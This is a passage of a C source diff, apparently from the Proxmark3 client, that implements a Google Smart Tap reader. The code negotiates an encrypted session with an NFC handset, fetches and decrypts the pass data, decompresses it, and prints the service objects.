out_size, size_t *out_len) { + if (out == NULL || out_len == NULL) { + return PM3_EINVARG; + } + + uint8_t session_payload[10] = {0}; + size_t session_payload_len = 0; + int res = gst_build_session_payload(session_id, sequence_number, 0x01, session_payload, &session_payload_len); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t collector_id_be[4]; + Uint4byteToMemBe(collector_id_be, collector_id); + uint8_t collector_record_payload[5] = {0x04, 0, 0, 0, 0}; + memcpy(collector_record_payload + 1, collector_id_be, 4); + + uint8_t merchant_payload[GST_MAX_NDEF_BUFFER] = {0}; + size_t merchant_payload_len = 0; + gst_ndef_record_t merchant_nested[] = { + {0x04, GST_TYPE_COLLECTOR_ID, sizeof(GST_TYPE_COLLECTOR_ID), NULL, 0, collector_record_payload, sizeof(collector_record_payload)}, + }; + res = gst_ndef_encode_message(merchant_nested, ARRAYLEN(merchant_nested), + merchant_payload, sizeof(merchant_payload), &merchant_payload_len); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t service_type_payload[] = {0x00}; + uint8_t service_list_payload[GST_MAX_NDEF_BUFFER] = {0}; + size_t service_list_payload_len = 0; + gst_ndef_record_t service_list_nested[] = { + {0x04, GST_TYPE_SERVICE_TYPE_REQUEST, sizeof(GST_TYPE_SERVICE_TYPE_REQUEST), NULL, 0, service_type_payload, sizeof(service_type_payload)}, + }; + res = gst_ndef_encode_message(service_list_nested, ARRAYLEN(service_list_nested), + service_list_payload, sizeof(service_list_payload), &service_list_payload_len); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t pos_capabilities_payload[5] = { + system_flags, + ui_flags, + checkout_flags, + cvm_flags, + (uint8_t)mode + }; + + uint8_t nested_request[GST_MAX_NDEF_BUFFER] = {0}; + size_t nested_request_len = 0; + gst_ndef_record_t request_records[] = { + {0x04, GST_TYPE_SESSION, sizeof(GST_TYPE_SESSION), NULL, 0, session_payload, session_payload_len}, + {0x04, GST_TYPE_MERCHANT, sizeof(GST_TYPE_MERCHANT), NULL, 0, merchant_payload, merchant_payload_len}, + {0x04, GST_TYPE_SERVICE_LIST, sizeof(GST_TYPE_SERVICE_LIST), NULL, 0, service_list_payload, service_list_payload_len}, + {0x04, GST_TYPE_POS_CAPABILITIES, sizeof(GST_TYPE_POS_CAPABILITIES), NULL, 0, pos_capabilities_payload, sizeof(pos_capabilities_payload)}, + }; + res = gst_ndef_encode_message(request_records, ARRAYLEN(request_records), + nested_request, sizeof(nested_request), &nested_request_len); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t outer_payload[GST_MAX_NDEF_BUFFER] = {0}; + size_t outer_payload_len = 0; + const uint8_t version[2] = {0x00, 0x01}; + if (buffer_append_bytes_with_offset(outer_payload, sizeof(outer_payload), &outer_payload_len, version, sizeof(version)) != PM3_SUCCESS || + buffer_append_bytes_with_offset(outer_payload, sizeof(outer_payload), &outer_payload_len, nested_request, nested_request_len) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + + gst_ndef_record_t outer_record = { + .tnf = 0x04, + .type = GST_TYPE_SERVICE_REQUEST, + .type_len = sizeof(GST_TYPE_SERVICE_REQUEST), + .id = NULL, + .id_len = 0, + .payload = outer_payload, + .payload_len = outer_payload_len + }; + return gst_ndef_encode_message(&outer_record, 1, out, out_size, out_len); +} + +static int gst_perform_get_data(uint32_t collector_id, + uint64_t session_id, + uint8_t sequence_number, + gst_mode_t mode, + uint8_t *out, size_t out_max_len, + size_t *out_len, uint16_t *sw) { + if (out == NULL || out_len == NULL || sw == NULL) { + return PM3_EINVARG; + } + + uint8_t command_data[GST_MAX_NDEF_BUFFER] = {0}; + size_t command_data_len = 0; + uint8_t system_flags = 0x00; +#ifdef HAVE_ZLIB + system_flags |= GST_SYSTEM_ZLIB_SUPPORTED; +#endif + + int res = gst_build_get_data_message(collector_id, session_id, sequence_number, mode, + system_flags, 0x00, 0x00, 0x00, + command_data, sizeof(command_data), &command_data_len); + if (res != PM3_SUCCESS) { + return res; + } + + size_t total = 0; + uint16_t local_sw = 0; + uint8_t response_chunk[GST_MAX_BUFFER] = {0}; + size_t response_chunk_len = 0; + + res = gst_exchange_chained(false, true, 0x90, 0x50, 0x00, 0x00, + command_data, command_data_len, + response_chunk, sizeof(response_chunk), &response_chunk_len, &local_sw); + if (res != PM3_SUCCESS) { + return res; + } + if ((total + response_chunk_len) > out_max_len) { + return PM3_EOVFLOW; + } + memcpy(out + total, response_chunk, response_chunk_len); + total += response_chunk_len; + + for (uint8_t get_data_retry_count = 0; local_sw == 0x9100; get_data_retry_count++) { + if (get_data_retry_count >= GST_MAX_GET_DATA_CHAINED_RETRIES) { + PrintAndLogEx(ERR, "GET DATA returned chained response too many times (max=%" PRIu8 ")", GST_MAX_GET_DATA_CHAINED_RETRIES); + return PM3_ETIMEOUT; + } + response_chunk_len = 0; + res = gst_exchange_chained(false, true, 0x90, 0xC0, 0x00, 0x00, + NULL, 0, + response_chunk, sizeof(response_chunk), &response_chunk_len, &local_sw); + if (res != PM3_SUCCESS) { + return res; + } + if ((total + response_chunk_len) > out_max_len) { + return PM3_EOVFLOW; + } + memcpy(out + total, response_chunk, response_chunk_len); + total += response_chunk_len; + } + + *out_len = total; + *sw = local_sw; + return PM3_SUCCESS; +} + +static int gst_decrypt_payload(const uint8_t *encrypted_payload, size_t encrypted_payload_len, + uint32_t collector_id, + const uint8_t reader_nonce[32], + const uint8_t *device_nonce, size_t device_nonce_len, + const uint8_t *signature, size_t signature_len, + const mbedtls_ecp_keypair *reader_ephemeral_key, + const uint8_t reader_ephemeral_public_key[33], + const uint8_t *device_ephemeral_public_key, size_t device_ephemeral_public_key_len, + uint8_t *out, size_t out_max_len, size_t *out_len) { + if (encrypted_payload == NULL || reader_nonce == NULL || device_nonce == NULL || signature == NULL || + reader_ephemeral_key == NULL || reader_ephemeral_public_key == NULL || + device_ephemeral_public_key == NULL || out == NULL || out_len == NULL) { + return PM3_EINVARG; + } + if (encrypted_payload_len < 44) { + return PM3_ESOFT; + } + + const uint8_t *iv = encrypted_payload; + const uint8_t *ciphertext = encrypted_payload + 12; + size_t ciphertext_len = encrypted_payload_len - 12 - 32; + const uint8_t *hmac = encrypted_payload + encrypted_payload_len - 32; + + mbedtls_ecp_keypair device_public_key; + mbedtls_ecp_keypair_init(&device_public_key); + int res = gst_load_public_key_any(device_ephemeral_public_key, device_ephemeral_public_key_len, &device_public_key); + if (res != PM3_SUCCESS) { + mbedtls_ecp_keypair_free(&device_public_key); + return res; + } + + mbedtls_mpi shared_secret; + mbedtls_mpi_init(&shared_secret); + int mres = mbedtls_ecdh_compute_shared((mbedtls_ecp_group *)&reader_ephemeral_key->grp, + &shared_secret, + &device_public_key.Q, + (mbedtls_mpi *)&reader_ephemeral_key->d, + NULL, NULL); + mbedtls_ecp_keypair_free(&device_public_key); + if (mres != 0) { + mbedtls_mpi_free(&shared_secret); + return PM3_ESOFT; + } + + uint8_t shared_secret_bytes[32] = {0}; + mres = mbedtls_mpi_write_binary(&shared_secret, shared_secret_bytes, sizeof(shared_secret_bytes)); + mbedtls_mpi_free(&shared_secret); + if (mres != 0) { + return PM3_ESOFT; + } + + uint8_t collector_id_be[4]; + Uint4byteToMemBe(collector_id_be, collector_id); + + uint8_t kdf_info[GST_MAX_BUFFER] = {0}; + size_t kdf_info_len = 0; + if (buffer_append_bytes_with_offset(kdf_info, sizeof(kdf_info), &kdf_info_len, reader_nonce, 32) != PM3_SUCCESS || + buffer_append_bytes_with_offset(kdf_info, sizeof(kdf_info), &kdf_info_len, device_nonce, device_nonce_len) != PM3_SUCCESS || + buffer_append_bytes_with_offset(kdf_info, sizeof(kdf_info), &kdf_info_len, collector_id_be, sizeof(collector_id_be)) != PM3_SUCCESS || + buffer_append_bytes_with_offset(kdf_info, sizeof(kdf_info), &kdf_info_len, reader_ephemeral_public_key, 33) != PM3_SUCCESS || + buffer_append_bytes_with_offset(kdf_info, sizeof(kdf_info), &kdf_info_len, signature, signature_len) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + + uint8_t key_material[48] = {0}; + const mbedtls_md_info_t *md_info = mbedtls_md_info_from_type(MBEDTLS_MD_SHA256); + if (md_info == NULL) { + return PM3_ESOFT; + } + mres = mbedtls_hkdf(md_info, + device_ephemeral_public_key, device_ephemeral_public_key_len, + shared_secret_bytes, sizeof(shared_secret_bytes), + kdf_info, kdf_info_len, + key_material, sizeof(key_material)); + if (mres != 0) { + return PM3_ESOFT; + } + + const uint8_t *aes_key = key_material; + const uint8_t *hmac_key = key_material + 16; + + uint8_t derived_hmac[32] = {0}; + mbedtls_md_context_t md_ctx; + mbedtls_md_init(&md_ctx); + mres = mbedtls_md_setup(&md_ctx, md_info, 1); + if (mres == 0) { + mres = mbedtls_md_hmac_starts(&md_ctx, hmac_key, 32); + } + if (mres == 0) { + mres = mbedtls_md_hmac_update(&md_ctx, iv, 12); + } + if (mres == 0) { + mres = mbedtls_md_hmac_update(&md_ctx, ciphertext, ciphertext_len); + } + if (mres == 0) { + mres = mbedtls_md_hmac_finish(&md_ctx, derived_hmac); + } + mbedtls_md_free(&md_ctx); + if (mres != 0) { + return PM3_ESOFT; + } + if (memcmp(derived_hmac, hmac, sizeof(derived_hmac)) != 0) { + PrintAndLogEx(ERR, "HMAC verification failed"); + return PM3_ESOFT; + } + + if (ciphertext_len > out_max_len) { + return PM3_EOVFLOW; + } + + mbedtls_aes_context aes; + mbedtls_aes_init(&aes); + mres = mbedtls_aes_setkey_enc(&aes, aes_key, 128); + if (mres != 0) { + mbedtls_aes_free(&aes); + return PM3_ESOFT; + } + + uint8_t nonce_counter[16] = {0}; + memcpy(nonce_counter, iv, 12); + uint8_t stream_block[16] = {0}; + size_t nc_off = 0; + mres = mbedtls_aes_crypt_ctr(&aes, ciphertext_len, &nc_off, nonce_counter, stream_block, ciphertext, out); + mbedtls_aes_free(&aes); + if (mres != 0) { + return PM3_ESOFT; + } + + *out_len = ciphertext_len; + return PM3_SUCCESS; +} + +#ifdef HAVE_ZLIB +static int gst_decompress_payload_zlib(const uint8_t *compressed_payload, size_t compressed_payload_len, + uint8_t **out, size_t *out_len) { + if (compressed_payload == NULL || out == NULL || out_len == NULL) { + return PM3_EINVARG; + } + + *out = NULL; + *out_len = 0; + + if (compressed_payload_len == 0) { + return PM3_SUCCESS; + } + + size_t capacity = compressed_payload_len * 2; + if (capacity < 1024) { + capacity = 1024; + } + if (capacity > GST_MAX_DECOMPRESSED_PAYLOAD) { + capacity = GST_MAX_DECOMPRESSED_PAYLOAD; + } + + uint8_t *buffer = calloc(capacity, sizeof(uint8_t)); + if (buffer == NULL) { + return PM3_EMALLOC; + } + + z_stream stream; + memset(&stream, 0, sizeof(stream)); + stream.next_in = (Bytef *)compressed_payload; + stream.avail_in = (uInt)compressed_payload_len; + stream.next_out = buffer; + stream.avail_out = (uInt)capacity; + + int zret = inflateInit(&stream); + if (zret != Z_OK) { + free(buffer); + return PM3_ESOFT; + } + + int status = PM3_SUCCESS; + while (true) { + zret = inflate(&stream, Z_NO_FLUSH); + if (zret == Z_STREAM_END) { + break; + } + if (!(zret == Z_OK || zret == Z_BUF_ERROR)) { + status = PM3_ESOFT; + break; + } + + if (stream.avail_out > 0) { + // We have spare output space but no progress/end marker: input stream is invalid/truncated. + if (stream.avail_in == 0 || zret == Z_BUF_ERROR) { + status = PM3_ESOFT; + break; + } + continue; + } + + size_t produced = (size_t)(stream.next_out - buffer); + if (capacity >= GST_MAX_DECOMPRESSED_PAYLOAD) { + status = PM3_EOVFLOW; + break; + } + + size_t new_capacity = capacity * 2; + if (new_capacity > GST_MAX_DECOMPRESSED_PAYLOAD) { + new_capacity = GST_MAX_DECOMPRESSED_PAYLOAD; + } + + uint8_t *new_buffer = realloc(buffer, new_capacity); + if (new_buffer == NULL) { + status = PM3_EMALLOC; + break; + } + + buffer = new_buffer; + capacity = new_capacity; + stream.next_out = buffer + produced; + stream.avail_out = (uInt)(capacity - produced); + } + + inflateEnd(&stream); + + if (status != PM3_SUCCESS) { + free(buffer); + return status; + } + + *out = buffer; + *out_len = (size_t)(stream.next_out - buffer); + return PM3_SUCCESS; +} +#endif + +static void gst_print_formatted_payload(const char *label, const uint8_t *payload, size_t payload_len) { + if (payload == NULL || payload_len == 0) { + PrintAndLogEx(INFO, "%s ", label); + return; + } + + uint8_t format = payload[0]; + const uint8_t *value = payload + 1; + size_t value_len = payload_len - 1; + + if (is_printable_ascii(value, value_len)) { + PrintAndLogEx(INFO, "%s \"%.*s\" (fmt=0x%02X, ASCII)", label, (int)value_len, (const char *)value, format); + } else { + PrintAndLogEx(INFO, "%s %s (fmt=0x%02X)", label, sprint_hex_inrow(value, value_len), format); + } +} + +static const char *gst_get_object_name(const uint8_t *type, size_t type_len) { + for (size_t i = 0; i < ARRAYLEN(gst_object_types); i++) { + if (bytes_equal_not_null(type, type_len, gst_object_types[i].type, gst_object_types[i].type_len)) { + return gst_object_types[i].name; + } + } + return NULL; +} + +static void gst_print_service_objects(const uint8_t *message, size_t message_len) { + size_t offset = 0; + size_t object_count = 0; + + while (offset < message_len) { + gst_ndef_record_view_t top_record; + int res = gst_ndef_parse_record(message, message_len, &offset, &top_record); + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Failed to parse top-level NDEF record (err=%d)", res); + break; + } + + if (!bytes_equal_not_null(top_record.type, top_record.type_len, GST_TYPE_SERVICE_VALUE, sizeof(GST_TYPE_SERVICE_VALUE))) { + if (top_record.me) { + break; + } + continue; + } + + gst_ndef_record_view_t issuer_record; + res = gst_ndef_find_by_type_or_id(top_record.payload, top_record.payload_len, + GST_TYPE_ISSUER, sizeof(GST_TYPE_ISSUER), + &issuer_record); + if (res != PM3_SUCCESS || issuer_record.payload_len < 2) { + PrintAndLogEx(WARNING, "Service value record without valid issuer field"); + if (top_record.me) { + break; + } + continue; + } + + uint8_t issuer_type = issuer_record.payload[1]; + const uint8_t *issuer_id = issuer_record.payload + 2; + size_t issuer_id_len = issuer_record.payload_len - 2; + + size_t nested_offset = 0; + while (nested_offset < top_record.payload_len) { + gst_ndef_record_view_t nested; + res = gst_ndef_parse_record(top_record.payload, top_record.payload_len, &nested_offset, &nested); + if (res != PM3_SUCCESS) { + break; + } + + bool is_customer = bytes_equal_not_null(nested.type, nested.type_len, GST_TYPE_CUSTOMER, sizeof(GST_TYPE_CUSTOMER)); + const char *object_name = gst_get_object_name(nested.type, nested.type_len); + if (!is_customer && object_name == NULL) { + if (nested.me) { + break; + } + continue; + } + + object_count++; + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, _CYAN_("Object #%" PRIuPTR), (uintptr_t)object_count); + PrintAndLogEx(INFO, " kind.................... %s", is_customer ? "customer" : object_name); + PrintAndLogEx(INFO, " issuer_type............. %s (0x%02X)", gst_issuer_type_name(issuer_type), issuer_type); + PrintAndLogEx(INFO, " issuer_id............... %s", sprint_hex_inrow(issuer_id, issuer_id_len)); + + if (is_customer) { + gst_ndef_record_view_t customer_id_record; + gst_ndef_record_view_t language_record; + if (gst_ndef_find_by_type_or_id(nested.payload, nested.payload_len, + GST_TYPE_CUSTOMER_ID, sizeof(GST_TYPE_CUSTOMER_ID), + &customer_id_record) == PM3_SUCCESS) { + PrintAndLogEx(INFO, " customer_id............. %s", + sprint_hex_inrow(customer_id_record.payload, customer_id_record.payload_len)); + } + if (gst_ndef_find_by_type_or_id(nested.payload, nested.payload_len, + GST_TYPE_CUSTOMER_LANGUAGE, sizeof(GST_TYPE_CUSTOMER_LANGUAGE), + &language_record) == PM3_SUCCESS) { + gst_print_formatted_payload(" language................", language_record.payload, language_record.payload_len); + } + } else { + gst_ndef_record_view_t object_id_record; + gst_ndef_record_view_t service_number_record; + if (gst_ndef_find_by_type_or_id(nested.payload, nested.payload_len, + GST_TYPE_OBJECT_ID, sizeof(GST_TYPE_OBJECT_ID), + &object_id_record) == PM3_SUCCESS) { + PrintAndLogEx(INFO, " object_id............... %s", + sprint_hex_inrow(object_id_record.payload, object_id_record.payload_len)); + } + if (gst_ndef_find_by_type_or_id(nested.payload, nested.payload_len, + GST_TYPE_SERVICE_NUMBER, sizeof(GST_TYPE_SERVICE_NUMBER), + &service_number_record) == PM3_SUCCESS) { + gst_print_formatted_payload(" service_number..........", service_number_record.payload, service_number_record.payload_len); + } + } + + if (nested.me) { + break; + } + } + + if (top_record.me) { + break; + } + } + + if (object_count == 0) { + PrintAndLogEx(INFO, "(no service objects found)"); + } +} + +static int gst_parse_negotiate_response(const uint8_t *response_data, size_t response_len, + uint8_t *negotiate_sequence, + uint8_t *device_ephemeral_public_key, size_t *device_ephemeral_public_key_len) { + if (response_data == NULL || negotiate_sequence == NULL || device_ephemeral_public_key == NULL || + device_ephemeral_public_key_len == NULL) { + return PM3_EINVARG; + } + + gst_ndef_record_view_t negotiate_record; + int res = gst_ndef_find_by_type_or_id(response_data, response_len, + GST_TYPE_NEGOTIATE_RESPONSE, sizeof(GST_TYPE_NEGOTIATE_RESPONSE), + &negotiate_record); + if (res != PM3_SUCCESS) { + return res; + } + + gst_ndef_record_view_t dpk_record; + res = gst_ndef_find_by_type_or_id(negotiate_record.payload, negotiate_record.payload_len, + GST_TYPE_HANDSET_EPH_PUBKEY, sizeof(GST_TYPE_HANDSET_EPH_PUBKEY), + &dpk_record); + if (res != PM3_SUCCESS) { + return res; + } + + if (dpk_record.payload_len != 33 && dpk_record.payload_len != 65) { + return PM3_ESOFT; + } + memcpy(device_ephemeral_public_key, dpk_record.payload, dpk_record.payload_len); + *device_ephemeral_public_key_len = dpk_record.payload_len; + + gst_ndef_record_view_t session_record; + res = gst_ndef_find_by_type_or_id(negotiate_record.payload, negotiate_record.payload_len, + GST_TYPE_SESSION, sizeof(GST_TYPE_SESSION), + &session_record); + if (res != PM3_SUCCESS) { + return res; + } + if (session_record.payload_len < 9) { + return PM3_ESOFT; + } + + *negotiate_sequence = session_record.payload[8]; + return PM3_SUCCESS; +} + +static int gst_extract_record_bundle(const uint8_t *response_data, size_t response_len, + uint8_t *flags, + const uint8_t **bundle_payload, size_t *bundle_payload_len) { + if (response_data == NULL || flags == NULL || bundle_payload == NULL || bundle_payload_len == NULL) { + return PM3_EINVARG; + } + + gst_ndef_record_view_t service_response_record; + int res = gst_ndef_find_by_type_or_id(response_data, response_len, + GST_TYPE_SERVICE_RESPONSE, sizeof(GST_TYPE_SERVICE_RESPONSE), + &service_response_record); + if (res != PM3_SUCCESS) { + return res; + } + + gst_ndef_record_view_t record_bundle_record; + res = gst_ndef_find_by_type_or_id(service_response_record.payload, service_response_record.payload_len, + GST_TYPE_RECORD_BUNDLE, sizeof(GST_TYPE_RECORD_BUNDLE), + &record_bundle_record); + if (res != PM3_SUCCESS) { + return res; + } + if (record_bundle_record.payload_len < 1) { + return PM3_ESOFT; + } + + *flags = record_bundle_record.payload[0]; + *bundle_payload = record_bundle_record.payload + 1; + *bundle_payload_len = record_bundle_record.payload_len - 1; + return PM3_SUCCESS; +} + +static int gst_info(gst_select_behavior_t select_behavior) { + gst_ose_info_t ose_info; + int res = gst_select_ose(&ose_info, true); + if (res != PM3_SUCCESS) { + DropField(); + return res; + } + + PrintAndLogEx(INFO, ""); + gst_print_ose_info(&ose_info); + + bool should_select = gst_should_select_smart_tap(select_behavior, &ose_info); + if (should_select) { + gst_select_info_t select_info; + res = gst_select_smart_tap_v2(&select_info, true); + if (res != PM3_SUCCESS) { + DropField(); + return res; + } + PrintAndLogEx(INFO, ""); + gst_print_select_info(&select_info); + } + + PrintAndLogEx(INFO, ""); + DropField(); + return PM3_SUCCESS; +} + +static int gst_read(const gst_read_config_t *cfg) { + if (cfg == NULL) { + return PM3_EINVARG; + } + + int status = PM3_ESOFT; + pcrypto_rng_t rng; + + mbedtls_ecp_keypair longterm_key; + mbedtls_ecp_keypair reader_ephemeral_key; + mbedtls_ecp_keypair_init(&longterm_key); + mbedtls_ecp_keypair_init(&reader_ephemeral_key); + + uint8_t longterm_public_key[65] = {0}; + uint8_t reader_ephemeral_public_key[33] = {0}; + uint8_t reader_nonce[32] = {0}; + uint8_t session_id_be[8] = {0}; + uint64_t session_id = 0; + uint8_t reader_signature[GST_MAX_SIGNATURE_LEN] = {0}; + size_t reader_signature_len = sizeof(reader_signature); + + uint8_t device_nonce[GST_MAX_NONCE_LEN] = {0}; + size_t device_nonce_len = 0; + + uint8_t device_ephemeral_public_key[65] = {0}; + size_t device_ephemeral_public_key_len = 0; + + uint8_t negotiate_response[GST_MAX_BUFFER] = {0}; + size_t negotiate_response_len = 0; + uint16_t negotiate_sw = 0; + + uint8_t get_data_response[GST_MAX_BUFFER] = {0}; + size_t get_data_response_len = 0; + uint16_t get_data_sw = 0; + + uint8_t decrypted_payload[GST_MAX_BUFFER] = {0}; + size_t decrypted_payload_len = 0; +#ifdef HAVE_ZLIB + uint8_t *decompressed_payload = NULL; + size_t decompressed_payload_len = 0; +#endif + + uint8_t negotiate_cmd[GST_MAX_NDEF_BUFFER] = {0}; + size_t negotiate_cmd_len = 0; + + status = pcrypto_rng_init(&rng, GST_RNG_PERSONALIZATION, sizeof(GST_RNG_PERSONALIZATION) - 1); + if (status != PM3_SUCCESS) { + goto out; + } + + status = gst_load_private_key_raw(cfg->reader_private_key, &longterm_key, &rng); + if (status != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Invalid reader private key"); + goto out; + } + + status = gst_export_pubkey_uncompressed(&longterm_key, longterm_public_key); + if (status != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to export reader public key"); + goto out; + } + + if (cfg->have_reader_ephemeral_private_key) { + status = gst_load_private_key_raw(cfg->reader_ephemeral_private_key, &reader_ephemeral_key, &rng); + } else { + status = gst_generate_ephemeral_keypair(&reader_ephemeral_key, &rng); + } + if (status != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to prepare reader ephemeral key"); + goto out; + } + + status = gst_export_pubkey_compressed(&reader_ephemeral_key, reader_ephemeral_public_key); + if (status != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to export reader ephemeral public key"); + goto out; + } + + if (cfg->have_reader_nonce) { + memcpy(reader_nonce, cfg->reader_nonce, sizeof(reader_nonce)); + } else { + status = pcrypto_rng_fill(&rng, reader_nonce, sizeof(reader_nonce)); + if (status != PM3_SUCCESS) { + goto out; + } + } + + if (cfg->have_session_id) { + memcpy(session_id_be, cfg->session_id, sizeof(session_id_be)); + } else { + status = pcrypto_rng_fill(&rng, session_id_be, sizeof(session_id_be)); + if (status != PM3_SUCCESS) { + goto out; + } + } + session_id = MemBeToUint8byte(session_id_be); + + gst_ose_info_t ose_info; + status = gst_select_ose(&ose_info, true); + if (status != PM3_SUCCESS) { + goto out; + } + + PrintAndLogEx(INFO, ""); + gst_print_ose_info(&ose_info); + + bool should_select = gst_should_select_smart_tap(cfg->select_behavior, &ose_info); + if (should_select) { + gst_select_info_t select_info; + status = gst_select_smart_tap_v2(&select_info, true); + if (status != PM3_SUCCESS) { + goto out; + } + PrintAndLogEx(INFO, ""); + gst_print_select_info(&select_info); + if (select_info.have_handset_nonce) { + memcpy(device_nonce, select_info.handset_nonce, select_info.handset_nonce_len); + device_nonce_len = select_info.handset_nonce_len; + } + } + + if (device_nonce_len == 0) { + if (ose_info.have_directory_device_nonce) { + memcpy(device_nonce, ose_info.directory_device_nonce, ose_info.directory_device_nonce_len); + device_nonce_len = ose_info.directory_device_nonce_len; + } else if (ose_info.have_ose_device_nonce) { + memcpy(device_nonce, ose_info.ose_device_nonce, ose_info.ose_device_nonce_len); + device_nonce_len = ose_info.ose_device_nonce_len; + } + } + if (device_nonce_len == 0) { + PrintAndLogEx(ERR, "Could not obtain handset/device nonce"); + status = PM3_ESOFT; + goto out; + } + + uint8_t auth_device_nonce[GST_MAX_NONCE_LEN] = {0}; + memcpy(auth_device_nonce, device_nonce, device_nonce_len); + if (!cfg->live_authentication) { + memset(auth_device_nonce, 0, device_nonce_len); + } + + uint8_t signature_input[GST_MAX_BUFFER] = {0}; + size_t signature_input_len = 0; + status = gst_build_signature_input(reader_nonce, + auth_device_nonce, device_nonce_len, + cfg->collector_id, + reader_ephemeral_public_key, + signature_input, sizeof(signature_input), &signature_input_len); + if (status != PM3_SUCCESS) { + goto out; + } + + status = gst_create_reader_signature(cfg->reader_private_key, longterm_public_key, + signature_input, signature_input_len, + reader_signature, &reader_signature_len); + if (status != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to create reader signature"); + goto out; + } + + PrintAndLogEx(INFO, ""); + PrintAndLogInfoHeader("Negotiate secure channel"); + PrintAndLogEx(INFO, "Collector ID.............. %" PRIu32 " (0x%08" PRIX32 ")", cfg->collector_id, cfg->collector_id); + PrintAndLogEx(INFO, "Long-term key version..... %" PRIu32 " (0x%08" PRIX32 ")", cfg->key_version, cfg->key_version); + PrintAndLogEx(INFO, "Session ID................ " _YELLOW_("%s"), sprint_hex_inrow(session_id_be, sizeof(session_id_be))); + PrintAndLogEx(INFO, "Reader nonce.............. " _YELLOW_("%s"), sprint_hex_inrow(reader_nonce, sizeof(reader_nonce))); + PrintAndLogEx(INFO, "Device nonce.............. " _YELLOW_("%s"), sprint_hex_inrow(device_nonce, device_nonce_len)); + PrintAndLogEx(INFO, "Reader ephemeral pubkey... " _YELLOW_("%s"), sprint_hex_inrow(reader_ephemeral_public_key, sizeof(reader_ephemeral_public_key))); + PrintAndLogEx(INFO, "Reader signature.......... " _YELLOW_("%s"), sprint_hex_inrow(reader_signature, reader_signature_len)); + PrintAndLogEx(INFO, "Live authentication....... %s", cfg->live_authentication ? _GREEN_("yes") : "no"); + + status = gst_build_negotiate_message(reader_nonce, reader_ephemeral_public_key, + reader_signature, reader_signature_len, + cfg->collector_id, cfg->key_version, + session_id, 1, cfg->live_authentication, + negotiate_cmd, sizeof(negotiate_cmd), &negotiate_cmd_len); + if (status != PM3_SUCCESS) { + goto out; + } + + status = gst_exchange_chained(false, true, 0x90, 0x53, 0x00, 0x00, + negotiate_cmd, negotiate_cmd_len, + negotiate_response, sizeof(negotiate_response), &negotiate_response_len, &negotiate_sw); + if (status != PM3_SUCCESS) { + goto out; + } + + if (gst_status_is_transient_failure(negotiate_sw)) { + PrintAndLogEx(WARNING, "Transient failure on NEGOTIATE (sequence=1), retrying with sequence=3..."); + status = gst_build_negotiate_message(reader_nonce, reader_ephemeral_public_key, + reader_signature, reader_signature_len, + cfg->collector_id, cfg->key_version, + session_id, 3, cfg->live_authentication, + negotiate_cmd, sizeof(negotiate_cmd), &negotiate_cmd_len); + if (status != PM3_SUCCESS) { + goto out; + } + status = gst_exchange_chained(false, true, 0x90, 0x53, 0x00, 0x00, + negotiate_cmd, negotiate_cmd_len, + negotiate_response, sizeof(negotiate_response), &negotiate_response_len, &negotiate_sw); + if (status != PM3_SUCCESS) { + goto out; + } + } + + gst_print_status_line("NEGOTIATE status..........", negotiate_sw); + if (!(negotiate_sw == 0x9000 || negotiate_sw == 0x9002)) { + status = PM3_ESOFT; + goto out; + } + + uint8_t negotiate_sequence = 0; + status = gst_parse_negotiate_response(negotiate_response, negotiate_response_len, + &negotiate_sequence, + device_ephemeral_public_key, &device_ephemeral_public_key_len); + if (status != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to parse NEGOTIATE response"); + goto out; + } + + uint8_t get_data_sequence = (uint8_t)(negotiate_sequence + 1); + uint8_t get_data_retry_sequence = (uint8_t)(negotiate_sequence + 3); + + status = gst_perform_get_data(cfg->collector_id, session_id, get_data_sequence, cfg->mode, + get_data_response, sizeof(get_data_response), &get_data_response_len, &get_data_sw); + if (status != PM3_SUCCESS) { + goto out; + } + if (gst_status_is_transient_failure(get_data_sw)) { + PrintAndLogEx(WARNING, "Transient failure on GET DATA, retrying..."); + status = gst_perform_get_data(cfg->collector_id, session_id, get_data_retry_sequence, cfg->mode, + get_data_response, sizeof(get_data_response), &get_data_response_len, &get_data_sw); + if (status != PM3_SUCCESS) { + goto out; + } + } + + PrintAndLogEx(INFO, ""); + PrintAndLogInfoHeader("Get data"); + gst_print_status_line("GET DATA status...........", get_data_sw); + if (!gst_status_is_success(get_data_sw)) { + status = PM3_ESOFT; + goto out; + } + + if (get_data_response_len == 0) { + PrintAndLogEx(INFO, "No data returned by handset"); + status = PM3_SUCCESS; + goto out; + } + + uint8_t bundle_flags = 0; + const uint8_t *bundle_payload = NULL; + size_t bundle_payload_len = 0; + status = gst_extract_record_bundle(get_data_response, get_data_response_len, + &bundle_flags, &bundle_payload, &bundle_payload_len); + if (status != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to parse SERVICE_RESPONSE / RECORD_BUNDLE"); + goto out; + } + + gst_print_bundle_flags(bundle_flags); + + const uint8_t *payload_to_parse = bundle_payload; + size_t payload_to_parse_len = bundle_payload_len; + + if (bundle_flags & 0x01) { + status = gst_decrypt_payload(bundle_payload, bundle_payload_len, + cfg->collector_id, + reader_nonce, + device_nonce, device_nonce_len, + reader_signature, reader_signature_len, + &reader_ephemeral_key, + reader_ephemeral_public_key, + device_ephemeral_public_key, device_ephemeral_public_key_len, + decrypted_payload, sizeof(decrypted_payload), &decrypted_payload_len); + if (status != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to decrypt RECORD_BUNDLE payload"); + goto out; + } + payload_to_parse = decrypted_payload; + payload_to_parse_len = decrypted_payload_len; + } + + if (bundle_flags & 0x02) { +#ifdef HAVE_ZLIB + status = gst_decompress_payload_zlib(payload_to_parse, payload_to_parse_len, + &decompressed_payload, &decompressed_payload_len); + if (status != PM3_SUCCESS) { + if (status == PM3_EOVFLOW) { + PrintAndLogEx(ERR, "Compressed payload exceeds %d bytes limit", GST_MAX_DECOMPRESSED_PAYLOAD); + } else { + PrintAndLogEx(ERR, "Failed to 